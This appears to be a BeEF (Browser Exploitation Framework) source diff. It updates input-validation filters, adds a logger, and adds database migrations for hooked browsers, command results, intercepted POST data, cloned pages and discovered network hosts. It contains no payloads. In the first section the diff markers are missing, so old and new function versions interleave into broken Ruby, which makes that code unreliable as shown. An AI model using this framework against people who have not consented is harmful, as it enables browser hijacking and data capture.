|
||||
end
|
||||
true
|
||||
end
|
||||
|
||||
# Check the Operating System name value - for example, 'Windows XP'
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid Operating System name characters
|
||||
def self.is_valid_osname?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length < 2
|
||||
true
|
||||
end
|
||||
# Check the Operating System name value - for example, 'Windows XP'
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid Operating System name characters
|
||||
def self.is_valid_osname?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length < 2
|
||||
|
||||
# Check the Hardware name value - for example, 'iPhone'
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid Hardware name characters
|
||||
def self.is_valid_hwname?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length < 2
|
||||
true
|
||||
end
|
||||
true
|
||||
end
|
||||
|
||||
# Verify the browser version string is valid
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid browser version characters
|
||||
def self.is_valid_browserversion?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return true if str.eql? "UNKNOWN"
|
||||
return true if str.eql? "ALL"
|
||||
return false if not nums_only?(str) and not is_valid_float?(str)
|
||||
return false if str.length > 20
|
||||
true
|
||||
end
|
||||
# Check the Hardware name value - for example, 'iPhone'
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid Hardware name characters
|
||||
def self.is_valid_hwname?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length < 2
|
||||
|
||||
# Verify the os version string is valid
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid os version characters
|
||||
def self.is_valid_osversion?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return true if str.eql? "UNKNOWN"
|
||||
return true if str.eql? "ALL"
|
||||
return false unless BeEF::Filters::only?("a-zA-Z0-9.<=> ", str)
|
||||
return false if str.length > 20
|
||||
true
|
||||
end
|
||||
true
|
||||
end
|
||||
|
||||
# Verify the browser/UA string is valid
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid browser / ua string characters
|
||||
def self.is_valid_browserstring?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 300
|
||||
true
|
||||
end
|
||||
|
||||
# Verify the cookies are valid
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid cookie characters
|
||||
def self.is_valid_cookies?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 2000
|
||||
true
|
||||
end
|
||||
# Verify the browser version string is valid
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid browser version characters
|
||||
def self.is_valid_browserversion?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return true if str.eql? 'UNKNOWN'
|
||||
return true if str.eql? 'ALL'
|
||||
return false if !nums_only?(str) and !is_valid_float?(str)
|
||||
return false if str.length > 20
|
||||
|
||||
# Verify the system platform is valid
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid system platform characters
|
||||
def self.is_valid_system_platform?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 200
|
||||
true
|
||||
end
|
||||
true
|
||||
end
|
||||
|
||||
# Verify the date stamp is valid
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid date stamp characters
|
||||
def self.is_valid_date_stamp?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 200
|
||||
true
|
||||
end
|
||||
# Verify the os version string is valid
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid os version characters
|
||||
def self.is_valid_osversion?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return true if str.eql? 'UNKNOWN'
|
||||
return true if str.eql? 'ALL'
|
||||
return false unless BeEF::Filters.only?('a-zA-Z0-9.<=> ', str)
|
||||
return false if str.length > 20
|
||||
|
||||
# Verify the CPU type string is valid
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid CPU type characters
|
||||
def self.is_valid_cpu?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 200
|
||||
true
|
||||
end
|
||||
true
|
||||
end
|
||||
|
||||
# Verify the memory string is valid
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid memory type characters
|
||||
def self.is_valid_memory?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 200
|
||||
true
|
||||
end
|
||||
# Verify the browser/UA string is valid
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid browser / ua string characters
|
||||
def self.is_valid_browserstring?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 300
|
||||
|
||||
# Verify the GPU type string is valid
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid GPU type characters
|
||||
def self.is_valid_gpu?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 200
|
||||
true
|
||||
end
|
||||
true
|
||||
end
|
||||
|
||||
# Verify the browser_plugins string is valid
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid browser plugin characters
|
||||
# @note This string can be empty if there are no browser plugins
|
||||
# @todo Verify if the ruby version statement is still necessary
|
||||
def self.is_valid_browser_plugins?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
return false if str.length > 1000
|
||||
if str.encoding === Encoding.find('UTF-8')
|
||||
return (str =~ /[^\w\d\s()-.,';_!\302\256]/u).nil?
|
||||
else
|
||||
return (str =~ /[^\w\d\s()-.,';_!\302\256]/n).nil?
|
||||
# Verify the cookies are valid
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid cookie characters
|
||||
def self.is_valid_cookies?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 2000
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
# Verify the system platform is valid
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid system platform characters
|
||||
def self.is_valid_system_platform?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 200
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
# Verify the date stamp is valid
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid date stamp characters
|
||||
def self.is_valid_date_stamp?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 200
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
# Verify the CPU type string is valid
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid CPU type characters
|
||||
def self.is_valid_cpu?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 200
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
# Verify the memory string is valid
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid memory type characters
|
||||
def self.is_valid_memory?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 200
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
# Verify the GPU type string is valid
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid GPU type characters
|
||||
def self.is_valid_gpu?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 200
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
# Verify the browser_plugins string is valid
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid browser plugin characters
|
||||
# @note This string can be empty if there are no browser plugins
|
||||
# @todo Verify if the ruby version statement is still necessary
|
||||
def self.is_valid_browser_plugins?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
return false if str.length > 1000
|
||||
|
||||
if str.encoding === Encoding.find('UTF-8')
|
||||
(str =~ /[^\w\d\s()-.,';_!\302\256]/u).nil?
|
||||
else
|
||||
(str =~ /[^\w\d\s()-.,';_!\302\256]/n).nil?
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,67 +1,71 @@
|
||||
#
|
||||
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Filters
|
||||
|
||||
# Check if the string is a valid path from a HTTP request
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid path characters
|
||||
def self.is_valid_path_info?(str)
|
||||
return false if str.nil?
|
||||
return false unless str.is_a? String
|
||||
return false if has_non_printable_char?(str)
|
||||
true
|
||||
end
|
||||
module Filters
|
||||
# Check if the string is a valid path from a HTTP request
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid path characters
|
||||
def self.is_valid_path_info?(str)
|
||||
return false if str.nil?
|
||||
return false unless str.is_a? String
|
||||
return false if has_non_printable_char?(str)
|
||||
|
||||
# Check if the session id valid
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid hook session id characters
|
||||
def self.is_valid_hook_session_id?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
return false unless has_valid_key_chars?(str)
|
||||
true
|
||||
end
|
||||
true
|
||||
end
|
||||
|
||||
# Check if valid command module datastore key
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid command module datastore key characters
|
||||
def self.is_valid_command_module_datastore_key?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
return false unless has_valid_key_chars?(str)
|
||||
true
|
||||
end
|
||||
# Check if the session id valid
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid hook session id characters
|
||||
def self.is_valid_hook_session_id?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
return false unless has_valid_key_chars?(str)
|
||||
|
||||
# Check if valid command module datastore value
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid command module datastore param characters
|
||||
def self.is_valid_command_module_datastore_param?(str)
|
||||
return false if has_null?(str)
|
||||
return false unless has_valid_base_chars?(str)
|
||||
true
|
||||
end
|
||||
true
|
||||
end
|
||||
|
||||
# Check for word and some punc chars
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid key characters
|
||||
def self.has_valid_key_chars?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
return false unless has_valid_base_chars?(str)
|
||||
true
|
||||
end
|
||||
# Check if valid command module datastore key
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid command module datastore key characters
|
||||
def self.is_valid_command_module_datastore_key?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
return false unless has_valid_key_chars?(str)
|
||||
|
||||
# Check for word and underscore chars
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the sting has valid param characters
|
||||
def self.has_valid_param_chars?(str)
|
||||
return false if str.nil?
|
||||
return false unless str.is_a? String
|
||||
return false if str.empty?
|
||||
return false unless (str =~ /[^\w_\:]/).nil?
|
||||
true
|
||||
end
|
||||
true
|
||||
end
|
||||
|
||||
end
|
||||
# Check if valid command module datastore value
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid command module datastore param characters
|
||||
def self.is_valid_command_module_datastore_param?(str)
|
||||
return false if has_null?(str)
|
||||
return false unless has_valid_base_chars?(str)
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
# Check for word and some punc chars
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid key characters
|
||||
def self.has_valid_key_chars?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
return false unless has_valid_base_chars?(str)
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
# Check for word and underscore chars
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the sting has valid param characters
|
||||
def self.has_valid_param_chars?(str)
|
||||
return false if str.nil?
|
||||
return false unless str.is_a? String
|
||||
return false if str.empty?
|
||||
return false unless (str =~ /[^\w_:]/).nil?
|
||||
|
||||
true
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,61 +1,62 @@
|
||||
#
|
||||
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Filters
|
||||
|
||||
# Verify the hostname string is valid
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string is a valid hostname
|
||||
def self.is_valid_hostname?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 255
|
||||
return false if (str =~ /^[a-zA-Z0-9][a-zA-Z0-9\-\.]*[a-zA-Z0-9]$/).nil?
|
||||
true
|
||||
module BeEF
|
||||
module Filters
|
||||
# Verify the hostname string is valid
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string is a valid hostname
|
||||
def self.is_valid_hostname?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 255
|
||||
return false if (str =~ /^[a-zA-Z0-9][a-zA-Z0-9\-.]*[a-zA-Z0-9]$/).nil?
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
def self.is_valid_verb?(verb)
|
||||
%w[HEAD GET POST OPTIONS PUT DELETE].each { |v| return true if verb.eql? v }
|
||||
false
|
||||
end
|
||||
|
||||
def self.is_valid_url?(uri)
|
||||
return true unless uri.nil?
|
||||
|
||||
# OPTIONS * is not yet supported
|
||||
# return true if uri.eql? "*"
|
||||
# TODO : CHECK THE normalize_path method and include it somewhere (maybe here)
|
||||
# return true if uri.eql? self.normalize_path(uri)
|
||||
false
|
||||
end
|
||||
|
||||
def self.is_valid_http_version?(version)
|
||||
# from browsers the http version contains a space at the end ("HTTP/1.0\r")
|
||||
version.gsub!(/\r+/, '')
|
||||
['HTTP/1.0', 'HTTP/1.1'].each { |v| return true if version.eql? v }
|
||||
false
|
||||
end
|
||||
|
||||
def self.is_valid_host_str?(host_str)
|
||||
# from browsers the host header contains a space at the end
|
||||
host_str.gsub!(/\r+/, '')
|
||||
return true if 'Host:'.eql?(host_str)
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
def normalize_path(path)
|
||||
print_error "abnormal path `#{path}'" if path[0] != '/'
|
||||
ret = path.dup
|
||||
|
||||
ret.gsub!(%r{/+}o, '/') # // => /
|
||||
while ret.sub!(%r{/\.(?:/|\Z)}, '/'); end # /. => /
|
||||
while ret.sub!(%r{/(?!\.\./)[^/]+/\.\.(?:/|\Z)}, '/'); end # /foo/.. => /foo
|
||||
|
||||
print_error "abnormal path `#{path}'" if %r{/\.\.(/|\Z)} =~ ret
|
||||
ret
|
||||
end
|
||||
end
|
||||
|
||||
def self.is_valid_verb?(verb)
|
||||
["HEAD", "GET", "POST", "OPTIONS", "PUT", "DELETE"].each {|v| return true if verb.eql? v }
|
||||
false
|
||||
end
|
||||
|
||||
def self.is_valid_url?(uri)
|
||||
return true if !uri.nil?
|
||||
# OPTIONS * is not yet supported
|
||||
#return true if uri.eql? "*"
|
||||
# TODO : CHECK THE normalize_path method and include it somewhere (maybe here)
|
||||
#return true if uri.eql? self.normalize_path(uri)
|
||||
false
|
||||
end
|
||||
|
||||
def self.is_valid_http_version?(version)
|
||||
# from browsers the http version contains a space at the end ("HTTP/1.0\r")
|
||||
version.gsub!(/[\r]+/,"")
|
||||
["HTTP/1.0", "HTTP/1.1"].each {|v| return true if version.eql? v }
|
||||
false
|
||||
end
|
||||
|
||||
def self.is_valid_host_str?(host_str)
|
||||
# from browsers the host header contains a space at the end
|
||||
host_str.gsub!(/[\r]+/,"")
|
||||
return true if "Host:".eql?(host_str)
|
||||
false
|
||||
end
|
||||
|
||||
def normalize_path(path)
|
||||
print_error "abnormal path `#{path}'" if path[0] != ?/
|
||||
ret = path.dup
|
||||
|
||||
ret.gsub!(%r{/+}o, '/') # // => /
|
||||
while ret.sub!(%r'/\.(?:/|\Z)', '/'); end # /. => /
|
||||
while ret.sub!(%r'/(?!\.\./)[^/]+/\.\.(?:/|\Z)', '/'); end # /foo/.. => /foo
|
||||
|
||||
print_error "abnormal path `#{path}'" if %r{/\.\.(/|\Z)} =~ ret
|
||||
ret
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,30 +1,30 @@
|
||||
#
|
||||
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Filters
|
||||
|
||||
# Verify the page title string is valid
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string is a valid page title
|
||||
def self.is_valid_pagetitle?(str)
|
||||
return false unless str.is_a? String
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 500 # CxF Increased this because some page titles are MUCH longer
|
||||
true
|
||||
end
|
||||
module Filters
|
||||
# Verify the page title string is valid
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string is a valid page title
|
||||
def self.is_valid_pagetitle?(str)
|
||||
return false unless str.is_a? String
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 500 # CxF Increased this because some page titles are MUCH longer
|
||||
|
||||
# Verify the page referrer string is valid
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string is a valid referrer
|
||||
def self.is_valid_pagereferrer?(str)
|
||||
return false unless str.is_a? String
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 350
|
||||
true
|
||||
true
|
||||
end
|
||||
|
||||
# Verify the page referrer string is valid
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string is a valid referrer
|
||||
def self.is_valid_pagereferrer?(str)
|
||||
return false unless str.is_a? String
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 350
|
||||
|
||||
true
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,24 +1,22 @@
|
||||
#
|
||||
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module HBManager
|
||||
|
||||
# Get hooked browser by session id
|
||||
# @param [String] sid hooked browser session id string
|
||||
# @return [BeEF::Core::Models::HookedBrowser] returns the associated Hooked Browser
|
||||
def self.get_by_session(sid)
|
||||
BeEF::Core::Models::HookedBrowser.first(:session => sid)
|
||||
BeEF::Core::Models::HookedBrowser.where(session: sid).first
|
||||
end
|
||||
|
||||
# Get hooked browser by id
|
||||
# @param [Integer] id hooked browser database id
|
||||
# @return [BeEF::Core::Models::HookedBrowser] returns the associated Hooked Browser
|
||||
def self.get_by_id(id)
|
||||
BeEF::Core::Models::HookedBrowser.first(:id => id)
|
||||
BeEF::Core::Models::HookedBrowser.find(id)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -31,7 +31,7 @@ require 'execjs'
|
||||
require 'ansi'
|
||||
require 'term/ansicolor'
|
||||
require 'json'
|
||||
require 'data_objects'
|
||||
require 'otr-activerecord'
|
||||
require 'parseconfig'
|
||||
require 'erubis'
|
||||
require 'mime/types'
|
||||
@@ -39,6 +39,9 @@ require 'optparse'
|
||||
require 'resolv'
|
||||
require 'digest'
|
||||
require 'zip'
|
||||
require 'logger'
|
||||
# @note Logger
|
||||
require 'core/logger'
|
||||
|
||||
# @note Include the filters
|
||||
require 'core/filters'
|
||||
|
||||
21
core/logger.rb
Normal file
21
core/logger.rb
Normal file
@@ -0,0 +1,21 @@
|
||||
#
|
||||
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
#
|
||||
# @note log to file
|
||||
#
|
||||
module BeEF
|
||||
class << self
|
||||
attr_writer :logger
|
||||
|
||||
def logger
|
||||
@logger ||= Logger.new("#{$home_dir}/beef.log").tap do |log|
|
||||
log.progname = name
|
||||
log.level = Logger::WARN
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
8
core/main/ar-migrations/001_create_command_modules.rb
Normal file
8
core/main/ar-migrations/001_create_command_modules.rb
Normal file
@@ -0,0 +1,8 @@
|
||||
class CreateCommandModules < ActiveRecord::Migration[6.0]
|
||||
def change
|
||||
create_table :command_modules do |t|
|
||||
t.text :name
|
||||
t.text :path
|
||||
end
|
||||
end
|
||||
end
|
||||
15
core/main/ar-migrations/002_create_hooked_browsers.rb
Normal file
15
core/main/ar-migrations/002_create_hooked_browsers.rb
Normal file
@@ -0,0 +1,15 @@
|
||||
class CreateHookedBrowsers < ActiveRecord::Migration[6.0]
|
||||
def change
|
||||
create_table :hooked_browsers do |t|
|
||||
t.text :session
|
||||
t.text :ip
|
||||
t.text :firstseen
|
||||
t.text :lastseen
|
||||
t.text :httpheaders
|
||||
t.text :domain
|
||||
t.integer :port
|
||||
t.integer :count
|
||||
t.boolean :is_proxy
|
||||
end
|
||||
end
|
||||
end
|
||||
10
core/main/ar-migrations/003_create_logs.rb
Normal file
10
core/main/ar-migrations/003_create_logs.rb
Normal file
@@ -0,0 +1,10 @@
|
||||
class CreateLogs < ActiveRecord::Migration[6.0]
|
||||
def change
|
||||
create_table :logs do |t|
|
||||
t.text :logtype
|
||||
t.text :event
|
||||
t.datetime :date
|
||||
t.references :hooked_browser
|
||||
end
|
||||
end
|
||||
end
|
||||
12
core/main/ar-migrations/004_create_commands.rb
Normal file
12
core/main/ar-migrations/004_create_commands.rb
Normal file
@@ -0,0 +1,12 @@
|
||||
class CreateCommands < ActiveRecord::Migration[6.0]
|
||||
def change
|
||||
create_table :commands do |t|
|
||||
t.references :command_module
|
||||
t.references :hooked_browser
|
||||
t.text :data
|
||||
t.datetime :creationdate
|
||||
t.text :label
|
||||
t.boolean :instructions_sent, default: false
|
||||
end
|
||||
end
|
||||
end
|
||||
11
core/main/ar-migrations/005_create_results.rb
Normal file
11
core/main/ar-migrations/005_create_results.rb
Normal file
@@ -0,0 +1,11 @@
|
||||
class CreateResults < ActiveRecord::Migration[6.0]
|
||||
def change
|
||||
create_table :results do |t|
|
||||
t.references :command
|
||||
t.references :hooked_browser
|
||||
t.datetime :date
|
||||
t.integer :status
|
||||
t.text :data
|
||||
end
|
||||
end
|
||||
end
|
||||
8
core/main/ar-migrations/006_create_option_caches.rb
Normal file
8
core/main/ar-migrations/006_create_option_caches.rb
Normal file
@@ -0,0 +1,8 @@
|
||||
class CreateOptionCaches < ActiveRecord::Migration[6.0]
|
||||
def change
|
||||
create_table :option_caches do |t|
|
||||
t.text :name
|
||||
t.text :value
|
||||
end
|
||||
end
|
||||
end
|
||||
9
core/main/ar-migrations/007_create_browser_details.rb
Normal file
9
core/main/ar-migrations/007_create_browser_details.rb
Normal file
@@ -0,0 +1,9 @@
|
||||
class CreateBrowserDetails < ActiveRecord::Migration[6.0]
|
||||
def change
|
||||
create_table :browser_details do |t|
|
||||
t.text :session_id
|
||||
t.text :detail_key
|
||||
t.text :detail_value
|
||||
end
|
||||
end
|
||||
end
|
||||
14
core/main/ar-migrations/008_create_executions.rb
Normal file
14
core/main/ar-migrations/008_create_executions.rb
Normal file
@@ -0,0 +1,14 @@
|
||||
class CreateExecutions < ActiveRecord::Migration[6.0]
|
||||
def change
|
||||
create_table :executions do |t|
|
||||
t.text :session_id
|
||||
t.integer :mod_count
|
||||
t.integer :mod_successful
|
||||
t.text :mod_body
|
||||
t.text :exec_time
|
||||
t.text :rule_token
|
||||
t.boolean :is_sent
|
||||
t.integer :rule_id
|
||||
end
|
||||
end
|
||||
end
|
||||
16
core/main/ar-migrations/009_create_rules.rb
Normal file
16
core/main/ar-migrations/009_create_rules.rb
Normal file
@@ -0,0 +1,16 @@
|
||||
class CreateRules < ActiveRecord::Migration[6.0]
|
||||
def change
|
||||
create_table :rules do |t|
|
||||
t.text :name
|
||||
t.text :author
|
||||
t.text :browser
|
||||
t.text :browser_version
|
||||
t.text :os
|
||||
t.text :os_version
|
||||
t.text :modules
|
||||
t.text :execution_order
|
||||
t.text :execution_delay
|
||||
t.text :chain_mode
|
||||
end
|
||||
end
|
||||
end
|
||||
8
core/main/ar-migrations/010_create_interceptor.rb
Normal file
8
core/main/ar-migrations/010_create_interceptor.rb
Normal file
@@ -0,0 +1,8 @@
|
||||
class CreateInterceptor < ActiveRecord::Migration[6.0]
|
||||
def change
|
||||
create_table :interceptors do |t|
|
||||
t.text :ip
|
||||
t.text :post_data
|
||||
end
|
||||
end
|
||||
end
|
||||
8
core/main/ar-migrations/011_create_web_cloner.rb
Normal file
8
core/main/ar-migrations/011_create_web_cloner.rb
Normal file
@@ -0,0 +1,8 @@
|
||||
class CreateWebCloner < ActiveRecord::Migration[6.0]
|
||||
def change
|
||||
create_table :web_cloners do |t|
|
||||
t.text :uri
|
||||
t.text :mount
|
||||
end
|
||||
end
|
||||
end
|
||||
7
core/main/ar-migrations/012_create_mass_mailer.rb
Normal file
7
core/main/ar-migrations/012_create_mass_mailer.rb
Normal file
@@ -0,0 +1,7 @@
|
||||
class CreateMassMailer < ActiveRecord::Migration[6.0]
|
||||
def change
|
||||
create_table :mass_mailers do |t|
|
||||
# TODO: fields
|
||||
end
|
||||
end
|
||||
end
|
||||
13
core/main/ar-migrations/013_create_network_host.rb
Normal file
13
core/main/ar-migrations/013_create_network_host.rb
Normal file
@@ -0,0 +1,13 @@
|
||||
class CreateNetworkHost < ActiveRecord::Migration[6.0]
|
||||
def change
|
||||
create_table :network_hosts do |t|
|
||||
t.references :hooked_browser
|
||||
t.text :ip
|
||||
t.text :hostname
|
||||
t.text :ntype
|
||||
t.text :os
|
||||
t.text :mac
|
||||
t.text :lastseen
|
||||
end
|
||||
end
|
||||
end
|
||||
11
core/main/ar-migrations/014_create_network_service.rb
Normal file
11
core/main/ar-migrations/014_create_network_service.rb
Normal file
@@ -0,0 +1,11 @@
|
||||
class CreateNetworkService < ActiveRecord::Migration[6.0]
|
||||
def change
|
||||
create_table :network_services do |t|
|
||||
t.references :hooked_browser
|
||||
t.text :proto
|
||||
t.text :ip
|
||||
t.text :port
|
||||
t.text :ntype
|
||||
end
|
||||
end
|
||||
end
|
||||
40
core/main/ar-migrations/015_create_http.rb
Normal file
40
core/main/ar-migrations/015_create_http.rb
Normal file
@@ -0,0 +1,40 @@
|
||||
class CreateHttp < ActiveRecord::Migration[6.0]
|
||||
def change
|
||||
create_table :https do |t|
|
||||
t.text :hooked_browser_id
|
||||
# The http request to perform. In clear text.
|
||||
t.text :request
|
||||
# Boolean value as string to say whether cross-domain requests are allowed
|
||||
t.boolean :allow_cross_domain, default: true
|
||||
# The http response body received. In clear text.
|
||||
t.text :response_data
|
||||
# The http response code. Useful to handle cases like 404, 500, 302, ...
|
||||
t.integer :response_status_code
|
||||
# The http response code. Human-readable code: success, error, ecc..
|
||||
t.text :response_status_text
|
||||
# The port status. closed, open or not http
|
||||
t.text :response_port_status
|
||||
# The XHR Http response raw headers
|
||||
t.text :response_headers
|
||||
# The http response method. GET or POST.
|
||||
t.text :method
|
||||
# The content length for the request.
|
||||
t.text :content_length, default: 0
|
||||
# The request protocol/scheme (http/https)
|
||||
t.text :proto
|
||||
# The domain on which perform the request.
|
||||
t.text :domain
|
||||
# The port on which perform the request.
|
||||
t.text :port
|
||||
# Boolean value to say if the request was cross-domain
|
||||
t.text :has_ran, default: 'waiting'
|
||||
# The path of the request.
|
||||
# Example: /secret.html
|
||||
t.text :path
|
||||
# The date at which the http response has been saved.
|
||||
t.datetime :response_date
|
||||
# The date at which the http request has been saved.
|
||||
t.datetime :request_date
|
||||
end
|
||||
end
|
||||
end
|
||||
9
core/main/ar-migrations/016_create_rtc_status.rb
Normal file
9
core/main/ar-migrations/016_create_rtc_status.rb
Normal file
@@ -0,0 +1,9 @@
|
||||
